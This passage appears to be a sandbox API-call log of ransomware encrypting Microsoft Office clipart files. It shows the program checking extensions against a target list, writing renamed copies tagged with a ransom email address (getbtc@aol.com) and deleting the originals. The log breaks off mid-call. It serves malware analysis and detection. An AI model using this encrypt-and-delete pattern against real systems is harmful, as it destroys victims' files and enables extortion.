[0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString=".1cd") returned 4 [0253.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString=".jpg") returned 4 [0253.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.343] lstrlenW (lpString=".doc") returned 4 [0253.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString=".docx") returned 5 [0253.343] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0253.343] lstrlenW (lpString=".pdf") returned 4 [0253.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString=".xls") returned 4 [0253.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.343] lstrlenW (lpString=".xlsx") returned 5 [0253.343] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0253.343] lstrlenW (lpString=".ppt") returned 4 [0253.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.343] lstrlenW (lpString=".zip") returned 4 [0253.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.343] lstrlenW (lpString=".rar") returned 4 [0253.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString=".bz2") returned 4 [0253.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString=".7z") returned 3 [0253.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.343] lstrlenW (lpString=".dbf") returned 4 [0253.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.343] lstrlenW (lpString=".1cd") returned 4 [0253.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086384.WMF") returned 63 [0253.343] lstrlenW (lpString=".jpg") returned 4 [0253.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.343] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.343] lstrlenW (lpString="J0086420.WMF") returned 12 [0253.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.344] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=9596) returned 1 [0253.344] CloseHandle (hObject=0x1bc) returned 1 [0253.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 0x20 [0253.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.344] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.344] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.345] GetLastError () returned 0x0 [0253.345] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x257c, lpOverlapped=0x0) returned 1 [0253.346] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0253.347] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.347] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.348] SetEndOfFile (hFile=0x200) returned 1 [0253.348] CloseHandle (hObject=0x200) returned 1 [0253.348] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.348] SetEndOfFile (hFile=0x1bc) returned 1 [0253.350] CloseHandle (hObject=0x1bc) returned 1 [0253.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086420.wmf")) returned 1 [0253.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.351] lstrlenW (lpString=".doc") returned 4 [0253.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString=".docx") returned 5 [0253.351] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0253.351] lstrlenW (lpString=".pdf") returned 4 [0253.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString=".xls") returned 4 [0253.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.351] lstrlenW (lpString=".xlsx") returned 5 [0253.351] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0253.351] lstrlenW (lpString=".ppt") returned 4 [0253.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.351] lstrlenW (lpString=".zip") returned 4 [0253.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.351] lstrlenW (lpString=".rar") returned 4 [0253.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString=".bz2") returned 4 [0253.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString=".7z") returned 3 [0253.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.351] lstrlenW (lpString=".dbf") returned 4 [0253.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.351] lstrlenW (lpString=".1cd") returned 4 [0253.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.351] lstrlenW (lpString=".jpg") returned 4 [0253.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.352] lstrlenW (lpString=".doc") returned 4 [0253.352] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString=".docx") returned 5 [0253.352] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0253.352] lstrlenW (lpString=".pdf") returned 4 [0253.352] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString=".xls") returned 4 [0253.352] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.352] lstrlenW (lpString=".xlsx") returned 5 [0253.352] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0253.352] lstrlenW (lpString=".ppt") returned 4 [0253.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.352] lstrlenW (lpString=".zip") returned 4 [0253.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.352] lstrlenW (lpString=".rar") returned 4 [0253.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString=".bz2") returned 4 [0253.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString=".7z") returned 3 [0253.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.352] lstrlenW (lpString=".dbf") returned 4 [0253.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.352] lstrlenW (lpString=".1cd") returned 4 [0253.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086420.WMF") returned 63 [0253.352] lstrlenW (lpString=".jpg") returned 4 [0253.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.353] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.353] lstrlenW (lpString="J0086424.WMF") returned 12 [0253.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.354] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=17016) returned 1 [0253.354] CloseHandle (hObject=0x1bc) returned 1 [0253.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 0x20 [0253.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.355] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.355] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0253.356] GetLastError () returned 0x0 [0253.356] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x4278, lpOverlapped=0x0) returned 1 [0253.396] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x4280, lpOverlapped=0x0) returned 1 [0253.397] ReadFile (in: hFile=0x1bc, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.397] WriteFile (in: hFile=0x200, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.397] SetEndOfFile (hFile=0x200) returned 1 [0253.397] CloseHandle (hObject=0x200) returned 1 [0253.398] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.398] SetEndOfFile (hFile=0x1bc) returned 1 [0253.400] CloseHandle (hObject=0x1bc) returned 1 [0253.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0086424.wmf")) returned 1 [0253.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.446] lstrlenW (lpString=".doc") returned 4 [0253.446] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.446] lstrlenW (lpString=".docx") returned 5 [0253.446] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0253.446] lstrlenW (lpString=".pdf") returned 4 [0253.446] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.446] lstrlenW (lpString=".xls") returned 4 [0253.446] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.446] lstrlenW (lpString=".xlsx") returned 5 [0253.446] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0253.447] lstrlenW (lpString=".ppt") returned 4 [0253.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString=".zip") returned 4 [0253.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.447] lstrlenW (lpString=".rar") returned 4 [0253.447] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString=".bz2") returned 4 [0253.447] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString=".7z") returned 3 [0253.447] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString=".dbf") returned 4 [0253.447] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString=".1cd") returned 4 [0253.447] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString=".jpg") returned 4 [0253.447] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString=".doc") returned 4 [0253.447] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString=".docx") returned 5 [0253.447] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0253.447] lstrlenW (lpString=".pdf") returned 4 [0253.447] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString=".xls") returned 4 [0253.447] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.447] lstrlenW (lpString=".xlsx") returned 5 [0253.447] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0253.447] lstrlenW (lpString=".ppt") returned 4 [0253.447] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.447] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.447] lstrlenW (lpString=".zip") returned 4 [0253.447] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.448] lstrlenW (lpString=".rar") returned 4 [0253.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.448] lstrlenW (lpString=".bz2") returned 4 [0253.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.448] lstrlenW (lpString=".7z") returned 3 [0253.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.448] lstrlenW (lpString=".dbf") returned 4 [0253.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.448] lstrlenW (lpString=".1cd") returned 4 [0253.448] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0086424.WMF") returned 63 [0253.448] lstrlenW (lpString=".jpg") returned 4 [0253.448] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.448] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.448] lstrlenW (lpString="J0089992.WMF") returned 12 [0253.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.449] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=15680) returned 1 [0253.449] CloseHandle (hObject=0x324) returned 1 [0253.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 0x20 [0253.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.449] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.449] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0253.450] GetLastError () returned 0x0 [0253.450] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x3d40, lpOverlapped=0x0) returned 1 [0253.495] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x3d50, lpOverlapped=0x0) returned 1 [0253.496] ReadFile (in: hFile=0x324, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.496] WriteFile (in: hFile=0x338, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.496] SetEndOfFile (hFile=0x338) returned 1 [0253.496] CloseHandle (hObject=0x338) returned 1 [0253.496] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.497] SetEndOfFile (hFile=0x324) returned 1 [0253.499] CloseHandle (hObject=0x324) returned 1 [0253.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0253.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.559] lstrlenW (lpString=".doc") returned 4 [0253.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString=".docx") returned 5 [0253.559] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0253.559] lstrlenW (lpString=".pdf") returned 4 [0253.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString=".xls") returned 4 [0253.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.559] lstrlenW (lpString=".xlsx") returned 5 [0253.559] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0253.559] lstrlenW (lpString=".ppt") returned 4 [0253.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.559] lstrlenW (lpString=".zip") returned 4 [0253.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.559] lstrlenW (lpString=".rar") returned 4 [0253.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString=".bz2") returned 4 [0253.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString=".7z") returned 3 [0253.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.559] lstrlenW (lpString=".dbf") returned 4 [0253.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.559] lstrlenW (lpString=".1cd") returned 4 [0253.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.559] lstrlenW (lpString=".jpg") returned 4 [0253.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF") returned 63 [0253.560] lstrlenW (lpString=".doc") returned 4 [0253.560] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.560] lstrlenW (lpString=".docx") returned 5 [0253.560] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0253.560] lstrlenW 